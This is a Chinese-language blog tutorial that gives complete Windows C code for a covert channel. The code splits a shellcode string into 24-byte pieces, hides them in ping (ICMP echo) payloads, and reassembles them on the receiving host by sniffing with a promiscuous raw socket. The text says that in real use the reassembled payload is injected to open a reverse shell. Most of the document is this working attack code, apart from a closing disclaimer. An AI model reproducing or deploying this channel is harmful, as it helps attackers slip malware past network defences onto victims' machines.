利用Ping传输ShellCode攻击载荷

ICMP是互联网控制消息协议,它是IP协议的一部分,主要用于在网络设备之间传递控制和错误消息,网络管理员通常会使用该协议检测网络,并以此来确定目标主机是否可达,由于Ping是常规命令其默认并不会被认定为恶意攻击且一般均会打开并放行,通过精心构建并实现一个特殊的Ping命令,我们可以在RequestData字段上面携带数据,并以此来实现传递攻击载荷到目标主机。

首先,读者可自行打开Wireshark网络抓包工具,设置过滤器为ip.dst==8.8.8.8当准备就绪后,直接使用ping 8.8.8.8命令,此时抓包工具将会捕捉到如下所示的图例,在图中RequestData数据字段默认会被填充为默认的字符串,由于受到ICMP协议长度限制,此处的字符串最长为32字节。

20240805135338

发送攻击载荷

我们要通过手动编写一个Ping命令并将此处的空白位置利用起来,读者可自行实现Ping命令,也可以通过调用Windows系统中为我们提供的IcmpSendEcho函数来实现,该函数的原型定义如下所示;

DWORD IcmpSendEcho(
HANDLE IcmpHandle,
IPAddr DestinationAddress,
LPVOID RequestData,
WORD RequestSize,
PIP_OPTION_INFORMATION RequestOptions,
LPVOID ReplyBuffer,
DWORD ReplySize,
DWORD Timeout
);

我们需要构建一个特殊的结构体变量,此处为ShellCodeData结构,该结构体包含三个成员,其中uuid用于指定数据包唯一标识符,subsection用于指定分段数量,这两个变量分别占用4个字节,最后ShellCode[24]则用于占用最后的24个字节,其结构体定义如下所示;

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
#include <iphlpapi.h>
#include <icmpapi.h>

#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "iphlpapi.lib")

typedef struct
{
int uuid;
int subsection;
unsigned char ShellCode[24];
} ShellCodeData;

接着编写一个splitString函数,其作用是当用户传入一段特别长的字符串,可将数据以chunkSize的长度切割成对等字符串,此处要切割为24字节,并将分段数量通过numChunks返回给用户,函数最终返回一个二维字符串数组,其中每个一维数组都是长度为24字节的数据。

char** splitString(const char* input, size_t chunkSize, size_t* numChunks)
{
size_t inputLen = strlen(input);

// 计算块数
*numChunks = (inputLen + chunkSize - 1) / chunkSize;

// 为字符串数组分配内存
char** output = (char**)malloc(*numChunks * sizeof(char*));
if (output == NULL)
{
exit(1);
}

for (size_t i = 0; i < *numChunks; ++i)
{
// 为每个块分配内存 +1代表空终止符
output[i] = (char*)malloc((chunkSize + 1) * sizeof(char));
if (output[i] == NULL)
{
exit(1);
}

// 将chunkSize字符从输入复制到当前块
strncpy(output[i], input + i * chunkSize, chunkSize);

// Null终止字符串
output[i][chunkSize] = '\0';
}

return output;
}

最后编写一个名为HackerPing的发包函数,该函数通过调用IcmpSendEcho实现发包,通过传入对端ipAddress地址及data数据实现发送,其具体实现流程如下所示。

void HackerPing(const char* ipAddress, ShellCodeData* data)
{
HANDLE hIcmpFile;
unsigned long ipaddr = inet_addr(ipAddress);
DWORD dwRetVal = 0;
LPVOID ReplyBuffer = NULL;
DWORD ReplySize = 0;

// 创建ICMP句柄
hIcmpFile = IcmpCreateFile();
if (hIcmpFile == INVALID_HANDLE_VALUE)
{
return;
}

// 分配内存空间
ReplySize = sizeof(ICMP_ECHO_REPLY) + sizeof(ShellCodeData);
ReplyBuffer = (VOID*)malloc(ReplySize);
if (ReplyBuffer == NULL)
{
IcmpCloseHandle(hIcmpFile);
return;
}

// 发送Ping数据包
dwRetVal = IcmpSendEcho(hIcmpFile, ipaddr, data, sizeof(ShellCodeData), NULL, ReplyBuffer, ReplySize, 1000);
if (dwRetVal != 0)
{
PICMP_ECHO_REPLY pEchoReply = (PICMP_ECHO_REPLY)ReplyBuffer;
struct in_addr ReplyAddr;
ReplyAddr.S_un.S_addr = pEchoReply->Address;
printf("已将icmp消息发送到 %s\n", ipAddress);
printf("收到自 %s\n", inet_ntoa(ReplyAddr));
printf("状态 = %ld\n", pEchoReply->Status);
printf("往返时间 = %ld 毫秒\n", pEchoReply->RoundTripTime);
}

free(ReplyBuffer);
IcmpCloseHandle(hIcmpFile);
}

在主函数中,首先通过调用splitString函数将ShellCode字符串载荷进行切割,并切割为24个字节为一组,切割完成后将切割总次数存入numChunks变量内,在循环内通过memcpy拷贝字节数组,并依次调用HackerPing实现攻击载荷的分片传输。

int main(int argc, char** argv)
{
if (argc != 2)
{
printf("Usage: %s <IP Address>\n", argv[0]);
return 1;
}

const char* ShellCode = "fce88f0000006031d289e5648b52308b520c8b52140fb74a2631ff8b722831c0ac3c617c022c20c1cf0d01c74975ef528b5210578b423c01d08b407885c0744c01d0508b582001d38b481885c9743c498b348b312211";

// 切割字节数
size_t chunkSize = 24;

// 分出了多少个包
size_t numChunks;

// 切割ShellCode字符串
char** result = splitString(ShellCode, chunkSize, &numChunks);

// 循环分片发送ShellCode
for (size_t i = 0; i < numChunks; ++i)
{
ShellCodeData data;

// 设置唯一标识符
data.uuid = 58431;

// 设置总循环次数
data.subsection = numChunks;

// 拷贝数据到结构体
memset(data.ShellCode, 0, sizeof(data.ShellCode));
memcpy(data.ShellCode, result[i], strlen(result[i]));

// 发送数据包
HackerPing(argv[1], &data);

free(result[i]);
}

free(result);
return 0;
}

编译上述代码,并通过命令行执行Ping.exe 8.8.8.8完成数据包的发送,由于ShellCode的长度为173字节,每次传输为24字节,这样则需要8次才可以将攻击载荷传输完成,通过Wireshark抓包并过滤出目标地址ip.dst==8.8.8.8则可看到如下所示的8个ICMP数据包。

20240805150443

其中的每个数据包都将按照我们所期待的格式进行排列,第一个四字节为3fe40000uuid,第二个四字节08000000subsection循环计数,之后跟随的24字节则是ShellCode切片,若不足24个字节则使用零进行填充,如下图所示;

20240805151034

接收攻击载荷

在之前简单介绍了如何通过使用Ping命令传输ShellCode载荷到对端主机,那么对端主机该如何接收这个载荷并运行呢?对于接收载荷其实我们可以通过Windows套接字中的混杂模式来监控来到本机的流量,若流量是ICMP则对其进行解析并判断uuid是否唯一,若找到了则根据计数对这段ShellCode进行组装并执行反弹即可。

首先,我们需要定义所需结构,其中ShellCodeData与客户端保持不变,为了能够解析到ICMP数据包,我们需要定义ether_header以太网包头、ipv4_headerIP包头、以及icmp_header包头,并通过pragma pack(1)设置对齐方式为1字节。

#include <iostream>
#include <WinSock2.h>
#include <ws2tcpip.h>
#include <mstcpip.h>

#pragma comment(lib, "ws2_32.lib")

// 声明 ShellCodeData 结构体
typedef struct
{
int uuid;
int subsection;
unsigned char ShellCode[24];
} ShellCodeData;

// 全局结构
typedef struct
{
int iLen;
char szIPArray[10][50];
} HOSTIP;

// 全局变量
SOCKET g_RawSocket = 0;
HOSTIP g_HostIp;

#pragma pack(1)

/*以太网帧头格式结构体 14个字节*/
typedef struct ether_header
{
unsigned char ether_dhost[6]; // 目的MAC地址
unsigned char ether_shost[6]; // 源MAC地址
unsigned short ether_type; // eh_type 的值需要考察上一层的协议,如果为ip则为0x0800
} ETHERHEADER, *PETHERHEADER;

/*IPv4报头结构体 20个字节*/
typedef struct ipv4_header
{
unsigned char ipv4_ver_hl; // Version(4 bits) + Internet Header Length(4 bits)长度按4字节对齐
unsigned char ipv4_stype; // 服务类型
unsigned short ipv4_plen; // 总长度(包含IP数据头,TCP数据头以及数据)
unsigned short ipv4_pidentify; // ID定义单独IP
unsigned short ipv4_flag_offset; // 标志位偏移量
unsigned char ipv4_ttl; // 生存时间
unsigned char ipv4_pro; // 协议类型
unsigned short ipv4_crc; // 校验和
unsigned long ipv4_sourpa; // 源IP地址
unsigned long ipv4_destpa; // 目的IP地址
} IPV4HEADER, *PIPV4HEADER;

/*ICMP报头结构体 8个字节*/
typedef struct icmp_header
{
unsigned char type; // 类型
unsigned char code; // 代码
unsigned short checksum; // 校验和
unsigned short id; // 标识符
unsigned short seq; // 序列号
} ICMPHEADER, *PICMPHEADER;

#pragma pack()

接着是初始化部分,通过InitAndSelectNetworkRawSocket来实现对套接字的初始化,在初始化过程中用户可自行选择绑定到哪个网卡之上,最后设置该套接字为混杂模式以抓取所有经过网卡的数据包。

// 初始化与选择套接字
BOOL InitAndSelectNetworkRawSocket()
{
// 设置套接字版本
WSADATA wsaData = { 0 };
if (0 != WSAStartup(MAKEWORD(2, 2), &wsaData))
{
return FALSE;
}
// 创建原始套接字
g_RawSocket = socket(AF_INET, SOCK_RAW, IPPROTO_IP);
if (INVALID_SOCKET == g_RawSocket)
{
WSACleanup();
return FALSE;
}

// 绑定到接口 获取本机名
char szHostName[MAX_PATH] = { 0 };
if (SOCKET_ERROR == ::gethostname(szHostName, MAX_PATH))
{
closesocket(g_RawSocket);
WSACleanup();
return FALSE;
}

// 根据本机名获取本机IP地址
hostent* lpHostent = ::gethostbyname(szHostName);
if (NULL == lpHostent)
{
closesocket(g_RawSocket);
WSACleanup();
return FALSE;
}

// IP地址转换并保存IP地址
g_HostIp.iLen = 0;
strcpy(g_HostIp.szIPArray[g_HostIp.iLen], "127.0.0.1");
g_HostIp.iLen++;
char* lpszHostIP = NULL;

while (NULL != (lpHostent->h_addr_list[(g_HostIp.iLen - 1)]))
{
lpszHostIP = inet_ntoa(*(in_addr*)lpHostent->h_addr_list[(g_HostIp.iLen - 1)]);
strcpy(g_HostIp.szIPArray[g_HostIp.iLen], lpszHostIP);
g_HostIp.iLen++;
}

// 选择IP地址对应的网卡来嗅探
printf("选择侦听网卡 \n\n");
for (int i = 0; i < g_HostIp.iLen; i++)
{
printf("\t [*] 序号: %d \t IP地址: %s \n", i, g_HostIp.szIPArray[i]);
}

printf("\n 选择网卡序号: ");
int iChoose = 0;
scanf("%d", &iChoose);

// 如果选择超出范围则直接终止
if ((0 > iChoose) || (iChoose >= g_HostIp.iLen))
{
exit(0);
}
if ((0 <= iChoose) && (iChoose < g_HostIp.iLen))
{
lpszHostIP = g_HostIp.szIPArray[iChoose];
}

// 构造地址结构
sockaddr_in SockAddr = { 0 };
RtlZeroMemory(&SockAddr, sizeof(sockaddr_in));
SockAddr.sin_addr.S_un.S_addr = inet_addr(lpszHostIP);
SockAddr.sin_family = AF_INET;
SockAddr.sin_port = htons(0);

// 绑定套接字
if (SOCKET_ERROR == bind(g_RawSocket, (sockaddr*)(&SockAddr), sizeof(sockaddr_in)))
{
closesocket(g_RawSocket);
WSACleanup();
return FALSE;
}

// 设置混杂模式 抓取所有经过网卡的数据包
DWORD dwSetVal = 1;
if (SOCKET_ERROR == ioctlsocket(g_RawSocket, SIO_RCVALL, &dwSetVal))
{
closesocket(g_RawSocket);
WSACleanup();
return FALSE;
}
return TRUE;
}

通过调用AnalyseRecvPacket_ICMP可实现对数据包的解析功能,在解析时我们依次判断ICMP类型是否为回显应答,并判断IP地址是否为源端地址,若是则继续判断uuid是否为58431这也是为了排除干扰,最后依次将字节数组解析为字符串并放入到asciiString变量内打印,当然在实战中此处需要组合成一段完整的ShellCode并将其注入执行,此处仅用于原理演示,故不再增加反弹功能。

// 解析ICMP数据包
void AnalyseRecvPacket_ICMP(BYTE* lpBuf)
{
struct sockaddr_in saddr, daddr;
PIPV4HEADER ip = (PIPV4HEADER)lpBuf;
PICMPHEADER icmp = (PICMPHEADER)(lpBuf + (ip->ipv4_ver_hl & 0x0F) * 4);
ShellCodeData* data = (ShellCodeData*)(lpBuf + (ip->ipv4_ver_hl & 0x0F) * 4 + sizeof(ICMPHEADER));

saddr.sin_addr.s_addr = ip->ipv4_sourpa;
daddr.sin_addr.s_addr = ip->ipv4_destpa;

// icmp->type == 0 Echo Reply(回显应答)| Type 8: Echo Request(回显请求)
// 判断地址是否为8.8.8.8
if (icmp->type == 0 && strcmp(inet_ntoa(saddr.sin_addr), "8.8.8.8") == 0)
{
// 判断UUID是否为唯一标识符
if (data->uuid == 58431)
{
/*
printf("From: %s --> ", inet_ntoa(saddr.sin_addr));
printf("To: %s\n", inet_ntoa(daddr.sin_addr));
printf("UUID: %d\n", data->uuid);
printf("Subsection: %d\n", data->subsection);
*/

// 创建一个新的字符串数组用于存储 ASCII 字符
char asciiString[25] = { 0 };

for (int i = 0; i < 24; i++)
{
// printf("%02X ", data->ShellCode[i]);
// 将 ShellCode 字节转换为 ASCII 字符并追加到字符串数组中
asciiString[i] = (char)data->ShellCode[i];
}

// 打印 ASCII 字符串
printf("ShellCode: %s\n", asciiString);
}
}
}

最后在主函数中,首先调用InitAndSelectNetworkRawSocket初始化本机套接字,通过一个死循环接收数据包,并判断是否为ICMP包,若是则直接使用AnalyseRecvPacket_ICMP函数对其进行解析,并以此来实现整个流程。

int main(int argc, char* argv[])
{
// 选择网卡,并设置网络为非阻塞模式
if (!InitAndSelectNetworkRawSocket())
{
return -1;
}

sockaddr_in RecvAddr = { 0 };
int iRecvBytes = 0;
int iRecvAddrLen = sizeof(sockaddr_in);
DWORD dwBufSize = 12000;
BYTE* lpRecvBuf = new BYTE[dwBufSize];

// 循环接收接收
while (1)
{
RtlZeroMemory(&RecvAddr, iRecvAddrLen);
iRecvBytes = recvfrom(g_RawSocket, (char*)lpRecvBuf, dwBufSize, 0, (sockaddr*)(&RecvAddr), &iRecvAddrLen);

if (0 < iRecvBytes)
{
// 分析IP包的协议类型
PIPV4HEADER ip = (PIPV4HEADER)lpRecvBuf;
if (ip->ipv4_pro == IPPROTO_ICMP)
{
// 分析ICMP
AnalyseRecvPacket_ICMP(lpRecvBuf);
}
}
}

// 释放内存
delete[] lpRecvBuf;
lpRecvBuf = NULL;

// 关闭套接字
Sleep(500);
closesocket(g_RawSocket);
WSACleanup();
return 0;
}

至此,读者可自行运行这段代码并选择对应的网卡,当运行后使用客户端Ping对端主机,此时对端主机将会接收到通过Ping命令传来的攻击载荷,将这些载荷进行组装并注入即可实现反弹上线。

20240805164002

警告:本篇文章中所涉及的内容仅用于技术交流与研究之用,仅允许被用于正规用途或学习目的,请读者自觉遵守相关法规,禁止滥用。